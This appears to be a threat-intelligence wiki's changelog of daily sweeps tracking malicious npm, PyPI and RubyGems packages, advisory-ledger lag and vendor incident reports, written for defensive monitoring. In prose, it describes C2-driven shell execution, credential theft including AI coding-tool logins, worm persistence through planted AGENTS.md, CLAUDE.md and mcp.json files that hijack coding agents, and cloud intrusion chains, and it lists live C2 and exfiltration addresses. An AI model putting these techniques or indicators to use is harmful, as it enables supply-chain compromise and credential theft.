NOV 11 (this wiki, 249th sweep, OSV QUIET, high-water HOLDS 19141, RE-WALK 19140/19141/19117 200): (1) NEW PAGE, THE QUARANTINED NAME THE LEDGERS NEVER HEARD OF: aurum-pay 1.2.0 (PyPI, "AURUM Payments SDK", uploaded 2026-11-11 00:10Z) runs whatever aurum-casino.com/sdk/ping returns as a shell command on the FIRST API call (_boot_once() "telemetry", powershell Start-Job / bash -c, exceptions swallowed; reporter cyberxyz-security, ossf #1770); this wiki's four-lane differential: PyPI /simple/ 200 project-status quarantined ZERO files + JSON 404 (name-level quarantine ≈20.5 h post-upload on a reporter ticket ALONE) vs OSV query {} vs GHSA affects= 0 rows vs #1770 open — AND the sink-check GET answers 204 = the C2 listener is LIVE (209.99.188.87). The naileys three-lane law FLIPPED: registry-dead, ledger-empty, advisory-blank = zero advisories is NOT zero reports; check the queue before calling a name ledger-clean. Same reporter as #1769 43 min earlier = one scanner cross-ecosystem in an afternoon → aurum-pay page; (2) THE LEDGER CATCHES UP 27 DAYS LATE: GHSA-xqc2-xf4c-x3h3 (RSC unauth RCE, CVSS v4 9.5, NO CVE) entered the GitHub GLOBAL DB Nov-10 22:44:12Z, ≈27 d after the fixed rungs shipped (time[] verified Oct-14 16:49-16:55Z); next twin GHSA-673q-mjm6-r5xr entered Oct 22; exposure react-server-dom-webpack 3.7M + next 92M dl/wk; the 248th's dropped-parameter echo had carried these rows as junk unread = read BOTH advisory heads, read the rows even when the parameter dropped → Next.js November section; (3) THE NAME-ONLY OSV QUERY now answers {"code":3,"message":"invalid query"} instead of {} = a REJECTION is not an absence, quote response BODIES; + fleet: never-join block fifth sweep all unjoined END (19059 ≈39 h), raiden 2.2.6 third-sweep quiet, queue #1764-#1770 seven open, shadow plane seventh reads stable, front read TWELVE, KEV read TWELVE, priority watch NO NEW Shai-Hulud/Mini/TeamPCP reporting, self-captures ×3 (A REJECTION IS NOT AN ABSENCE; ZERO ADVISORIES IS NOT ZERO REPORTS; MY HEAD WATCH WAS SINGLE-LANE)

NOV 11 (this wiki, 248th sweep, OSV QUIET, high-water HOLDS 19141, THE 19117 STANDING HOLE FILLED AT READ THREE = the ledger backfills, a two-read permanent gap was a multi-hour serve-lag): (1) THE WITHDRAWN RECORD LIVES IN THREE LANES WITH THREE TRUTHS: naileys (MAL-2026-4619, Amazon Inspector origin, withdrawn 2026-05-26T22:13Z, re-raised by the #1769 reporter as still-running the newsletter-follow code in all four published versions) answers query {} (query lane filters withdrawn, the 232nd law's first resurrection-demand specimen), GET /v1/vulns/ 200 STILL WEARING withdrawn (modified 2026-11-09T23:15Z = touched at the #1674 cohort-merge tick), and npm 200 EVERYTHING (latest 0.5.4, 0.5.1/0.5.6 tarballs 200) = a withdrawal is a STAMP the query lane enforces and the registry never heard of; a withdrawn name is NOT a cleaned name, quote all three lanes, the withdrawal's correctness NOT adjudicated at capture → 248th stream section; (2) THE QUEUE ATE TWO MORE PHANTOMSUB NAMES WHILE THE LEDGER SLEPT: #1769 (18:00:24Z, cyberxyz-security) names @xzvbailss/baileys (1.0.0/5.0.0, packument created 16:42:08Z = reported ≈1 h 30 m after birth, downloads lane not found born-today class; luxu.js byte-identical to @poucode/baileys 18873 carrying literal "POUCODE", same publisher as xzvbailss 18702, repository a Telegram link) + baileys-clean (7.3.2, created June, 1 dl/wk; README CLAIMS "no hidden auto-follow" and documents opt-in autoFollowOwnerChannels that does NOT exist while the code self-invokes newsletterAutoFollowSilent = TRUST-CLAIM INVERSION: documentation trust-claims are attacker-authored text, never a control); both query {} both-grammar, both ZERO GHSA affects= echo-checked → Baileys 248th section; (3) SILENT PARAMETER DROP SEVENTH CAPTURE, GHSA LANE: api.github.com/advisories?package= served the IDENTICAL five rows for naileys, @xzvbailss/baileys, AND baileys-clean = the parameter died silently; affects= honored its filter (three names ZERO, express control must-hit) = on the GHSA API affects= is the absence oracle, package= is a liar; (4) fleet: seven-record never-join block unjoined END read (19059-19073 ≈37 h+, 19116 ≈9.5 h), raiden 2.2.6 second-sweep quiet, queue #1764-#1768 zero merges ≈20 h, @alexiddev fourteenth hour 198 dl/wk, taskpace hollow third read at 9,476 pre-seal census, 0sec-cli 0.28.8 survived a second read; shadow plane sixth reads all stable (board 0c3046f5 hold-clock 2-3-4-5-6, bundle 629959c4 sixth, front read ELEVEN, collector 523); KEV held 2026.11.10/1,779 read ELEVEN; GHSA malware head END read = still the 247th's own wave; priority watch NO NEW Shai-Hulud/Mini/TeamPCP reporting; self-captures ×3 (A WITHDRAWN RECORD IS QUERY-LANE DEAD, DIRECT-LANE ALIVE, REGISTRY-INDEPENDENT; THE PACKAGE PARAMETER DIES SILENTLY, THE AFFECTS PARAMETER LIVES; THE GAP FILLED ON READ THREE = N=2 absence laws are hypotheses)

NOV 11 (this wiki, 247th sweep, OSV +23 CONTIGUOUS 19119-19141, high-water 19141, GAP 19117 HOLDS read TWO = standing hole not serve-lag): (1) ONE TEMPLATE MINTED TWENTY-THREE LOOKALIKE NAMES IN NINETY MINUTES, EVERY ONE HOLDER-SEALED INSIDE THREE MINUTES: ghsa-malware burst-minted 19119-19141 (14:35/15:35/16:03-16:07Z waves), all npm critical >= 0 alias-AT-BIRTH (16:07:39Z four-deep second = the five-GHSA-second law re-landed), a -bits family + glog pair + FIVE-NAME @tomhundley scope + lookalike class (chai-as-spy, express-helmet, correct-calc, ioredis-xyz, netspeedutil…); EVERY packument now hollow [0.0.0-stage, 0.0.1-security], latest 0.0.1-security, row-publish-to-seal <=2 m 38 s = machinery-keyed seizure law's LARGEST specimen set, and every advise-and-never-seize quote on this wiki is a MIRROR-lane statement; taskpace 9,476 dl/wk = largest single-name victim flow measured here, last-day 7 = the weekly counter is a PRE-SEAL CENSUS, quote both lanes together; payload/false-positive status NOT asserted (boilerplate, shards un-read) → 247th stream section; (2) THE CLEAN RUNG FELL TOO: 0sec-cli 0.28.9 excised with NO advisory against it, latest rolled to 0.28.8 = the excision lane sweeps PAST the advisory range, "installable" on an advised name is a per-read claim → 0sec-cli 247th section; (3) OFF-LANE, A TWELVE-YEAR BUG CLASS REBORN IN JS: GHSA-8vv3-6qpc-gpw6 (CVE-2026-107846, critical, bitcoinjs-lib >= 2.3.0 < 5.2.1, fixed 5.2.1) = CVE-2012-2459 merkle-mutation re-implemented in JavaScript, duplicated txs forge a different block under the same merkle root and pass checkTxRoots; (4) fleet: never-join block unjoined END read (19059-19073 ≈35 h, 19116 past six = unbounded-clock law), raiden 2.2.6 no-show ≈5.5 h, queue zero merges ≈12 h, shadow plane fifth reads stable, front read TEN, KEV held read TEN, priority watch NO NEW Shai-Hulud/Mini/TeamPCP reporting; self-captures ×3: THE CLEANEST RUNG IS NOT SAFE FROM THE EXCISION; THE HOLDER SEAL IS THE BOT LANE'S SHADOW; A HOLDER-SEALED NAME STILL WEARS ITS REAL TRAFFIC

NOV 11 (this wiki, 246th sweep, OSV +1 row 19118, high-water 19118, FIRST GAP-AT-HEAD ON RECORD: 19117 404 beside served 19118, head laws must drop the contiguity assumption): (1) NEW PAGE, THE AI SECURITY CLI BECAME THE PAYLOAD: 0sec-cli 0.28.10 (the npm arm of "0, your self-improving open-source cybersecurity team", publisher peaktwilight/doruk@0.security, repo 0sec-labs/0) got GHSA-9j97-6pqr-qvrx critical 12:09:02Z — ≈20 h 15 m AFTER the rung shipped (Nov-10 15:54:20.514Z) — excised ≤2 h 26 m after that: tarball 404 three-lane, GONE from versions[], ALIVE in time[], latest 0.28.9 200, name still installs; 2,462 dl/wk, 339 ON the malicious day = the credential-holding security-tool audience ran the flow unadvised; MAL-2026-19118 alias-AT-BIRTH bot-lane law intact, NO ossf PR = machine lane only, ZERO analyst payload reporting at capture = payload UNVERIFIED → 0sec-cli page; (2) PRIORITY-WATCH DETAIL LANE, SONATYPE OFFICIAL MEETS THE REGISTRY: Sonatype's sonatype-2026-010515 post (8.7 high, wallet 0x1eef…cef3 cross-linked to GitGuardian's Oct-27 GhostAction, /0x/cls|ls port-443 paths, Sec-V: A10-* headers, Nov-9 Node-RAT follow-up persisting via lib/cli.js + VS Code/Cursor/Discord startup) claims all 12 releases "taken down"; this wiki's four-lane differential: ALL ten names packument 200, advised rungs excised from versions[] but SURVIVING in time[] (client-redux 0.0.16-18 Nov-3 22:05Z, cdeops 13.5.31, latest rolled to 13.5.30-alpha.66), tarballs 404, clean rungs 200, NAMES ACCRUE cdeops 3,088 + client-redux 942 + wiki-browser 1,004 + server-hemera-mongo 273 dl/wk = taken-down is a RUNG claim; LEDGER GAP: server-hemera-mongo has NO Nov OSV row (only pre-existing 11986) = mirror absence is not registry absence → PolinRider 246th section; (3) THE JOIN BRACKET DIES AT SIX HOURS: 19116 humbility-shared aliases None ≈6 h under GHSA-79v2 = double the trajmetrics +3 h 44 m precedent, edge language was wrong, slow clocks are precedent-plus-unbounded; seven-record never-join block all unjoined at END read (falsification = one touch); (4) FLEET: queue-only eight-for-eight both-grammar {} (alexiddev re-file ELEVENTH hour installable), #1764-#1768 zero merges ≈10 h, raiden 2.2.6 did NOT come (time[] holds 17); fontus day-twenty /simple/ active; shadow plane FOURTH reads all stable (board 0c3046f5, bundle 629959c4, front read NINE via redirect-following, collector 523); (5) OFF-LANE: KEV HELD 2026.11.10/1,779 read NINE; priority watch NO NEW Shai-Hulud/Mini/TeamPCP reporting (search hits all on-wiki history); self-captures ×3: THE HEAD IS NOT CONTIGUOUS; THE JOIN BRACKET WAS A PRECEDENT NOT A BOUND; VENDOR "TAKEN DOWN" IS A RUNG CLAIM. → 246th stream section

NOV 11 (this wiki, 245th sweep, OSV QUIET, high-water HOLDS 19116): (1) THE CATCH LANE NEVER SLEPT, MY WATCH DID — RETRACTION: GHSA-43rp-v8rh-9333 (@zanxiky/baileys, critical, Nov-10 06:31:32Z, +1 h 17 m after #1729's merge), GHSA-7j35-x788-5m8x (sauruspro-bail, 09:31:11Z, +2 h 42 m after #1732) and GHSA-xq62-3m74-wjpp (@yshtxxproject/baileys, 09:31:11Z, +2 h 45 m after #1731) have existed a FULL DAY while seven sweeps quoted these names as zero-GHSA; with the 244th's triple the bot's curated-merged catch record is SIX FOR SIX at ≈1-3 h per merge = an absence law measured by one watcher is a statement about the watcher; the class survives on its TRUE evidence, strengthened: zanxiky 1.1.0 + sauruspro 5.3.1 tarballs 200, downloads 245/229/1,551 dl/wk under critical advisories (sauruspro 1,551 = the campaign's largest measured single-name victim flow), rows 19059/19072/19073 aliases None ≈29 h under their own bot-minted GHSAs = longest bot-advisored never-join on record; bot-lane contrast @erlanzz/baileys (GHSA-f8j3 13:24:57Z) alias AT BIRTH 17440; (2) THE RAIDER'S THIRD RUNG: raiden-baileys 2.2.5 11:09:34.888Z = +4 h 37 m past its own critical advisory, latest 2.2.5, tarball 200 registry+jsDelivr, GHSA rows still stop at 2.1.7 = fossil at SIX unlisted rungs 2.2.0-2.2.5, 1,172 dl/wk; (3) humbility-shared (19116) join clock at the trajmetrics +3 h 44 m bracket edge, PyPI quarantine STABLE; (4) detail lane: Corgea PhantomSub post inventories the Nov-4-Nov-10 sixty-name advisory wave and frames the payload as runtime authenticated-session w:mex FOLLOW abuse (vendor convergence); fleet: fontus day-nineteen holds permanent-exception; queue #1764-#1768 zero merges; shadow plane third reads all stable (board 0c3046f5 read THREE, bundle 629959c4 THIRD, front read EIGHT); (5) off-lane: KEV held 2026.11.10/1,779 read EIGHT; priority watch NO NEW reporting (CSA SG Keyv advisory = Aug content, administrative Nov-11 refresh); SELF-CAPTURES ×3 (A CARRIED ABSENCE QUOTE IS AS STALE AS A SWEEP-START ONE; THE CATCH LANE NEVER SLEPT, MY WATCH DID; THE ADVISORY-FULL CLASS NEEDED ITS REAL DEFINITION) → baileys 245th retraction section • 245th stream section NOV 11 (this wiki, 244th sweep, OSV +1 row 19116, high-water 19116): (1) THE ABUSE LANE CATCHES THE MERGED NAMES, ZERO TO THREE IN ONE SECOND: after SEVEN sweeps of curated-merged-with-ZERO-GHSAs, the ghsa-malware bot minted GHSA-47pm-q564-4v9p (raiden-baileys), GHSA-phq5-43q8-5665 (@lekzsync/baileys), GHSA-x376-jjvf-9hh3 (@zhengliyoux/baileys) ALL critical at the 06:32:34-35Z second, ≈2 h 10-21 m after their own merges; AND THE RAIDER SHIPPED AGAIN: raiden 2.2.4 published 09:39:55.500Z = +3 h 07 m AFTER its own critical advisory, GHSA rows stop at 2.1.7 while 2.2.0-2.2.4 live in-range-unlisted (draft-time fossil, third specimen), every tarball 200 on all lanes, ZERO seizure, OSV rows 19108/19109/19115 STILL aliases None ≈4 h under their own bot-minted GHSAs = ARRIVAL AND JOIN REMAIN SEPARATE LAWS, first never-join member with bot-lane advisories; downloads still running (raiden 1,246, lekzsync 117, zhengliyoux 187); the catch law corrected: a RATE, not a property; (2) PIP FAST-PULL: humbility-shared (19116, kam193 PROBABLY_PENTEST) OSV 08:34Z → GHSA +57 m 29 s → PyPI quarantined ≈2 h (JSON 404, /simple/ zero-files); (3) THE fontus DAY-EIGHTEEN CALL LANDS: PERMANENT EXCEPTION, ≈18 d live, /simple/ active = the pip pull-clock's oldest exception becomes the record; (4) fleet: bare todo-cli tripwire reads CLEAN as the legit 2016 package (negative confirmed); shadow plane: post-flip board 0c3046f5 HOLDS read TWO, bundle 629959c4 7,287 B STABLE second read; front read SEVEN; (5) off-lane: KEV held 2026.11.10/1,779 read SEVEN; priority watch NO NEW reporting (S9043/G1056 baseline stands, May-wave posts = history); SELF-CAPTURES ×3 (THE ZERO-GHSA CLAIM HAS A CLOCK, my own 242nd affects= echo-check died to the 06:32:34Z mint inside its own window, RE-read the malware head at sweep END; THE ZERO-CATCH LAW DIED AS A PROPERTY AND LIVED AS A RATE; SWEEP WINDOWS ARE CLAIMS, THE REGISTRY time[] IS EVIDENCE) → baileys 244th catch section • 244th stream section NOV 11 (this wiki, 243rd sweep, OSV QUIET, high-water HOLDS 19115): (1) NEW PAGE, THE THIRD-PARTY TRUST WEEK: WIZ'S QUBOLE FORENSICS: an actor used Qubole's OWN vendor account 805246085872 + correct External IDs to assume LEFT-BEHIND customer integration roles Oct-14→26 from Mullvad exits + OVH VPS 57.129.54[.]120, harvested Lambda env/Secrets Manager/SSM, validated discovered keys with TRUFFLEHOG across THREE identity planes (AWS GetCallerIdentity, Entra ID service principals, Okta OAuth), drained reachable S3 wholesale (invisible to management-event CloudTrail), quiam- role-session prefix = free CloudTrail canary, and a source-IP condition on the trust policy would have blocked EVERY observed assumption; plus sso_agent.iso (65f061281c…, never fetched by this wiki), a bootable Linux image that polls TCP 23458 for scripts and HARD-REBOOTS at T+90:00 to erase itself, ntfs3 at boot = Windows hosts plausible, zero deployments observed = the dead-man erasure design joins the hostage-clock family; (2) NEW PAGE: RAILWAY'S OWN FULL REPORT (Nov 10, attack Oct 20-21): zero-day partial build-VM filesystem escape → build-push credential WRONGLY ACCEPTED AS A TRUSTED CLIENT by internal Temporal = 353 build histories + the internal monorepo → attacker-scanned OIDC-binding error → cloud creds → orchestration box holding the on-disk authorize-decryption credential → variables DB queried by AI-provider-key NAME patterns → ≤1.85% workspaces (~100,000, environment-granularity UPPER BOUND), 1,852 linked tokens, ≈$740,000 fraudulent AI spend; attacker ran abliterated models in an ARTEX-similar harness (per Wiz), Railway's hardening team re-exploited the patch within an hour = fix-then-retest as tempo; (3) THE PHANTOM SCHEMA DRIFT DIES: the two-sweep "Nov-10 KEV rows carry NO dateDue" notation was this wiki's own key-name typo (dueDate is real, all six rows carry it, Barracuda pair due 11-13) = dump the row's keys before declaring drift; (4) queue-only seven re-verified BOTH-grammar clean (ecosystem law's first dividend, zero retracts), merged seven show ZERO post-merge registry action, downloads stable; (5) shadow plane: board FLIPS 12b53794→0c3046f5 after ten reads (oscillator alive), root cfb45558/5,192 B + tasks e5355a16 first rolls of the renewed era, bundle FOURTH constant-size re-seal d2ca4d50→629959c4 at 7,287 B, /v1/nodes serves HTML Not found = route-state not roster death; fontus ≈17.9 d live, day-eighteen call next sweep; 57.129.54.120 000 = VPS dark not dead; frameworkmetrics 523 standing; priority watch NO NEW reporting → Qubole page • Railway page • 243rd stream section NOV 11 (this wiki, 242nd sweep, +7 OSV rows 19109-19115, high-water 19115): (1) THE QUERY LANE LIES TO THE NAME-ONLY ASKER: api.osv.dev/v1/query with package.name ALONE answered {} for rows the canonical lane served 200 (@lekzsync/@zhengliyoux baileys rows 19109/19115, raiden-baileys 19108, and even express = [] name-only vs 5 GHSA rows with "ecosystem":"npm", controls deterministic ×2) = THE ECOSYSTEM FIELD IS HALF THE KEY, a name-only query {} is a FALSE ABSENCE oracle on MAL- records, pair-check every {} with GET /v1/vulns/ and quote the query GRAMMAR in every absence claim; (2) THE MERGED NAMES LIVE AT SEVEN: #1735 (@lekzsync/baileys) + #1737 (@zhengliyoux/baileys) MERGED ≈04:15-04:21Z, rode the 04:30:05 tick (+15 m 26 s/+8 m 30 s, seven queue-merge measurements all on the tick), BOTH INSTALL TODAY (latest 1.0.5 137 dl/wk, latest 1.0.4 202 dl/wk), ZERO GHSAs (affects= echo-checked) = advisory-full enforcement-invisible SEVEN specimens, the abuse lane's curated-merged catch still ZERO; (3) THE 04:07:10Z FIVE-GHSA SECOND: @solana-trade/core/chalks-log/prettlog/termchalk published AT THE IDENTICAL SECOND, all critical >= 0 alias-at-birth holder-sealed (+96 s-+2 m 38 s), @solana-trade/core an APRIL-born rung sealed over in November; prettlog accrued 2,068 dl/wk BEFORE its seal = when the bot lane waits minutes, victim flow runs, the 89-clean/0-malicious ruby-digger pattern is an outcome not a law; (4) NEW PAGE, PRIORITY-WATCH-ADJACENT: THE RELEASE PIPELINE BECAME THE ATTACKER: @ethersphere/bee-js 13.3.0 + Swarm Desktop 0.56.2 shipped the SleepyDuck backdoor through the project's OWN trusted-publishing workflow with VALID SLSA provenance (orphan commit de2f74e, no branch, tag+release same second, title copied from an open release-please PR) and an Apple-notarized desktop build ≈8.5 h live; Ethereum contract 0xf8a900Db50b3331be6B768bA460BB59f3E40C344 C2 shared with SleepyDuck/EtherDuck since March; THIS WIKI VERIFIED: 13.3.0 gone from versions, STILL in time (removal-roster law), tarball 404 three lanes, and THE DIST-TAG OUTLIVES THE RUNG: dist-tags.upcoming still resolves to 13.3.0-upcoming.g4568f7a, tarball 200 = enumerate DIST-TAGS after every takedown → bee-js page; (5) fleet: fontus ≈17.4 d live; board HOLDS read TEN; bundle third read; front read FIVE; KEV held read five (Nov-10 rows still no dateDue); self-captures x3 (THE QUERY LANE LIES TO THE NAME-ONLY ASKER; THE MERGED NAMES LIVE AT SEVEN; THE FIVE-GHSA SECOND HID A CLEAN-RUNG MYTH) → 242nd stream section • baileys seven-live section NOV 11 (this wiki, 241st sweep, +1 OSV row 19108, high-water 19108): (1) THE RAIDER WHO SHIPPED THROUGH ITS OWN ADVISORY: raiden-baileys (MAL-2026-19108, trojanized Baileys fork, w:mex FOLLOW query_id 7871414976211147 to THREE HARDCODED newsletter JIDs) merged via #1733 04:11:09Z while the attacker shipped latest 2.2.3 ≈20 MIN BEFORE the merge, all tarballs 200, ZERO GHSAs (affects= echo-checked), 1,246 downloads/week = the campaign's single-name victim flow measured; the row's versions[] froze at 2.1.7 under a >= 0 range = THE VERSIONS LIST IS A DRAFT-TIME FOSSIL, enumerate packument time[] past it on every freshly merged row; advisory-full enforcement-invisible FIFTH specimen, first with live attacker shipping around the merge; (2) THE QUOTA LAW CLOSES PAUSE-NOT-DEATH: w0rmsign RE-FILED #1728→#1768 04:24:36Z and opened NEW #1766 @ruthless-imperium/baileys + #1767 carboniteapp (both query {}, packuments 200); @alexiddev/baileys still un-re-filed and installable = closures resolve per-PR, the re-file lane is real; (3) QUEUE-MERGE CLOCK FIFTH MEASUREMENT, TIGHTEST BRACKET: #1733 +3 m 56 s to the :15 tick, five for five quote the tick; (4) PRIORITY WATCH MOVED ON THE DETAIL LANE: Socket's official strutil-core post adds the REVOKED-TOKEN HOME-DIRECTORY WIPE (hostage dead-man third on-wiki member), a backdoor running ANY script announced in a SIGNED GITHUB COMMIT MESSAGE (commit-message-as-C2), AGENTS.md/CLAUDE.md/.cursor/mcp.json planted INTO repos so opening them re-runs the worm, and 0 downloads on the malicious rung vs 89 on the clean one; (5) fleet: fontus ≈17.2 d live; board HOLDS read NINE, bundle d2ca4d50 stable second read, front Buzz read FOUR (the front's md5 1d8bad9f = the exact value quoted as the GONE Conduit body = quote hash WITH algorithm); KEV held read four; self-captures x3 (THE OPEN-PR QUEUING LANE REOPENS; THE ENEMY MERGES TOO; THE SILENT PARAMETER DROP SEVENTH, advisories?package= vs affects=) → 241st stream section • Baileys campaign 241st section • strutil-core section NOV 11 (this wiki, 240th sweep, +4 OSV rows 19104-19107, high-water 19107): (1) THE QUEUE HAS A QUOTA, AND THE QUOTA IS AN ATTACK SURFACE: w0rmsign CLOSED #1728 (@ndikagantengg/baileys) + #1730 (@alexiddev/baileys) UNMERGED 14:44Z to free account open-PR slots (branch kept, re-file promised), BOTH names query {} ZERO rows in both ledgers while BOTH packuments serve 200 = curation is throttled by a GitHub account cap, queue silence can be a QUOTA event, disposition is PENDING-RE-FILE, read the close comment before dispositioning; (2) QUEUE-MERGE LAW FOURTH MEASUREMENT: #1729 (@zanxiky/baileys, 19059) merged 05:13:56Z, re-stamped +16 m 08 s same :30 tick, four-for-four; AND THE MERGED NAMES LIVE: zanxiky 1.1.0 + yshtxxproject 0.0.1 post-merge installable = advisory-full enforcement-invisible FOURTH specimen; (3) FOUR HOLDER-SEALED BOT MINTS IN 45 MIN: rex-react-diag-tools-v1, @fadelsm/libsignal-node, pt-logger-telemetry-eax0x1, yummy-bolts (all critical >= 0, creation-to-seal <=2 m 09 s, @fadelsm born 35 s before its own GHSA); (4) THE STREAK WATCH WAS KEYED TO THE WRONG TOKEN: Baileys dark fourth read while the campaign's libsignal-node second grammar minted (campaign NOT asserted) + THE SERVE LANE FLIPPED MID-SWEEP (19105-19107 404 to 200 in 5 min across the 02:21Z ingest) = import clocks not serve clocks, caught in the act; (5) fleet: fontus STILL LIVE ≈17 d, pip pull-clock oldest exception; glyphmatrix corpse-stage wipe confirmed; queue-only reads two unchanged; mw collector 200 read seven + shadow plane: board HOLDS read EIGHT, renewed root/tasks FREEZE at third reads, BUNDLE RE-SEAL UNDER CONSTANT SIZE e11cfd98-d2ca4d50 7,287 B held; off-lane: KEV held read three (Nov-10 rows NO dateDue field = schema drift), priority watch NO NEW reporting, self-captures x3 (THE QUEUE HAS A QUOTA; THE STREAK WATCH CARRIED ONE TOKEN OF A TWO-GRAMMAR CAMPAIGN; WRONG-NAME PROBE @walknpm/dsh TWO SWEEPS RUNNING) → 240th stream section • Baileys quota-closures section NOV 11 (this wiki, 239th sweep, +6 OSV rows 19098-19103, high-water 19103): (1) THE WIPE LANE IS PATIENT, NOT ABSENT: @walknpm/dsh-plugin-todo-cli, the fully-advised mirror-minted miner that survived TWENTY-FIVE reads of every automaton ≈16 d, went WHOLE-NAME 404 FOUR-LANE BETWEEN SWEEPS (express control 200) = A LANE LAW IS A CLOCK, NOT A REACH, the 404 wins over the absence law; the 220th's cohort split closes with BOTH halves dead; (2) NEVER-JOIN IS BOT-KEYED, NOT AGE-KEYED: 17924 (@apexacc/cli, amazon-inspector origin, ≈16 d aliases None) TOOK its alias ≈13 min after the ghsa-malware bot minted GHSA-pg98 over it, 18448 joined the same tick = the reconciliation leg still fires on sixteen-day-old records; the four terminal records (18336/18338/18343/18354) sit ≈14.5 d, falsification = ONE bot touch; (3) QUEUE-MERGE LAW MEASURED AT A THIRD SCALE: #1732 (sauruspro-bail) merged 06:49:09Z, OSV re-stamped +11 m 31 s = same :15 tick as #1666/#1674, QUOTE THE TICK NOT THE MERGE; AND THE MERGED NAME LIVES: latest 5.3.1, publisher shipped ≈3 h post-mint, advisory-full enforcement-invisible third specimen; (4) SIX holder-sealed names incl. the read-react-app-in/-out/-test TRIPLE born in 9 s (resolver-test fixture naming as shape-tell) + @apexacc/cli history-deletion class; (5) queue-only read one ALL LIVE (#1765 tailwind-lanes pair + tailwindcss-form-ui 0.5.8 vs pre-existing row 16262; #1764 superlib_ex3) + fleet: todo-cli DEAD (tripwire armed on the bare name), ctf-agent 19th, mw collector 200 read six; shadow plane board HOLDS read SIX, renewed root/tasks FREEZING at second reads; off-lane: KEV held read two, Baileys streak dark third read, priority watch NO NEW reporting → 239th stream section • walknpm 239th obituary NOV 10 (this wiki, 238th sweep, four-day gap, +378 OSV rows 18720-19097, high-water 19097): (1) THE QUEUE COLLECTS, EVENTUALLY: ossf #1674 (258 PhantomSub Baileys names) MERGED Nov-9 23:03:48Z AFTER ≈13 d OPEN AND THE WHOLE BATCH RE-STAMPED AT THE NEXT :15 TICK (18803 +11 m 32 s, spot rows clustered 23:15:16-38Z, every row wearing placeholder published 2026-10-27) = MERGE-IS-THE-MINT-GATE RE-CONFIRMED AT SCALE (second measurement after #1666's +15 min); the 237th's "the abuse lane outruns the queue" holds as a RATE not a verdict, price queue silence as DELAYED, never DEAD; (2) NEVER-JOIN GOES TERMINAL: 18336/18338/18343/18354 ALL aliases None ≈13.8 d, modified frozen Oct-29, the last UNDER ITS OWN LANDED GHSA-rm9p, the reconciler touched them and wrote NOTHING; cohort 289/378 (≈76%) aliases None; (3) THE WORM REPACKAGES ITSELF ONTO RUBYGEMS: strutil-core (MAL-2026-19054, jamnajiea, clean 1.0.0 then malicious 1.0.1 <2 h later, flagged 70 s, removed ≈5 h) = the Miasma/testmetest build (33/36 installer lines verbatim vs June Miasma, Socket): Bun into /tmp/.b_<pid>/, 51 credential stores read INCLUDING Claude Code + Codex logins, USED live (AWS 18 regions, ARM+Graph, GCP, GitHub/GitLab), systemd pkg-runtime.service, ~/.cursor/mcp.json rewritten; exfil paleasbest.top IS the pystr-codec PyPI worm's server (18432) = same worm two registries; cohort spans FOUR ecosystems (342 npm / 29 PyPI / 5 RubyGems / 2 crates.io); (4) THE OSV DETAIL LANE HAS ITS OWN CLOCK: the strutil-core forensics were WRITTEN Nov-10 00:00Z on a Nov-1 row, re-read aged rows by modified; (5) RETRACTION GRAMMAR CLEAN SECOND TIME (#1762 withdrew 18365 b20miner: withdrawn = authoring second, modified = next :30 tick post-merge) + fleet: todo-cli TWENTY-FIFTH live ≈13.2 d; render-fixture DEAD unadvised; @worca/app 1.18.0 (pin 1.13.1); shadow plane board HOLDS read FIVE while root+tasks renewed; front Buzz STABLE read two + KEV moved 2026.11.10/1,779 (+11: SonicWall SSLVPN, OpenBSD OpenSSH, FreeSWITCH, Aspera Faspex, Barracuda ESG auth-bypass, Chromium UAF) → 238th stream section • strutil-core RubyGems section • Baileys queue-catchup section NOV 6 (this wiki, 237th sweep, nine-day gap closed, +364 OSV rows 18356-18719, high-water 18719): (1) THE QUEUE-MERGE CLOCK MEASURED: ossf #1666 MERGED Nov-5 05:00:44Z AND ALL 36 QUEUE NAMES MINTED ≈15 MIN LATER AT THE NEXT :15 TICK (MAL-2026-18669-18702 + 18331), every minted row wears the PLACEHOLDER published 2026-10-26T00:00:00Z = the reporter's date stamped as publish time, a mint SHAPE not an artifact; merge is the mint gate, the tick is the mint clock; (2) THE BAILEYS CAMPAIGN'S LONGEST RUN: 32 fork names minted across eight straight days (GHSAs landing Nov-6 03:47Z), while #1674's 258-name batch sat nine days unmerged, the abuse lane outruns the queue; (3) NEVER-JOIN AT RECORD SCALE: 156/344 rows (≈45%) aliases None, oldest ≈190 h, most with NO GHSA to join (echo-checked); the lane's first RubyGems records on-wiki (6); Nov-2/3 mint surge = 162 rows in two days; @goparrot-dashboard(-api) 25-name scope fleet = largest on-wiki; (4) PRIORITY WATCH MOVED, Metano (~Nov 2-3): the Mini Shai-Hulud dead-drop fleet is LIVE (990 repos since Oct-21, newest Nov-3, 100-200 machines, uploads ride tokens STOLEN FROM OTHER VICTIMS and passed host-to-host; 10-second workflow delete on a fake Dependabot branch) + OX Security (Nov 4): PolinRider RETURNS via Ethereum-RPC dead-drop C2 (node -i in-memory, ETH 0x1eef0849…cef3), its package set IS the OSV cohort 18639-18647 = vendor and mirror converged on the same fleet within hours; (5) KEV moved 2026.11.04/1,768 (Ivanti Connect Secure pair, WordPress Core TOCTOU due 11-06, Cisco ASA/FTD) = first catalog movement in nine days → 237th stream section • mini-shai-hulud Metano section • polinrider OX Nov-4 section • baileys 237th section

OCT 28 (this wiki, 236th sweep, arrival and join came apart): OSV QUIET (high-water holds 18355), (1) THE trajmetrics GHSA ARRIVED AT +3 h 44 m 43 s (GHSA-rm9p-x4m7-hxmp, critical, = 0.5.3, 03:31:51Z) = THE SLOWEST pip-lane GHSA CLOCK ON RECORD (both prior brackets overspent in one mint), AND 18354 STILL reads aliases None ≈2 h UNDER ITS OWN ADVISORY = ARRIVAL AND JOIN ARE SEPARATE LAWS; the origin-keyed never-join class has a FOURTH member and its first with the advisory landed; quarantine + carrier repo 200 read three; (2) THE SILENT PARAMETER DROP, SIXTH CAPTURE: advisories?package= served the SAME unrelated 30 rows for render-fixture AND for a must-hit control (head row = a dd-trace advisory, echo-checked), a filtered lane that ignores its filter is indistinguishable from data until controls run ON the measurement route; (3) SIBLING READ TWO: @manbearpig.mb/render-fixture survives ≈5.3 h unadvised (no second rung, tarball 200, downloads 404 born-today class); glyphmatrix stage stub stable read three, the survival lane is stable furniture; (4) THE SEPTET COUNTS RE-READ IDENTICAL (49/48/6), pre-creation traffic is frozen historical fact; (5) #1666 ≈38 h/#1674 ≈7.7 h both open, zero registry action + fleet: todo-cli TWENTY-FOURTH ≈76.5 h, the queue ate names in minutes, the excision ate rungs in minutes, the mirror-minted miner sits through all of it + shadow plane: board HOLDS read four (13-3-1-1-2-3-2-3-4), furniture NINTH, CHG-4471 CHURN STOPS (d35de5f2 held) + THE FRONT 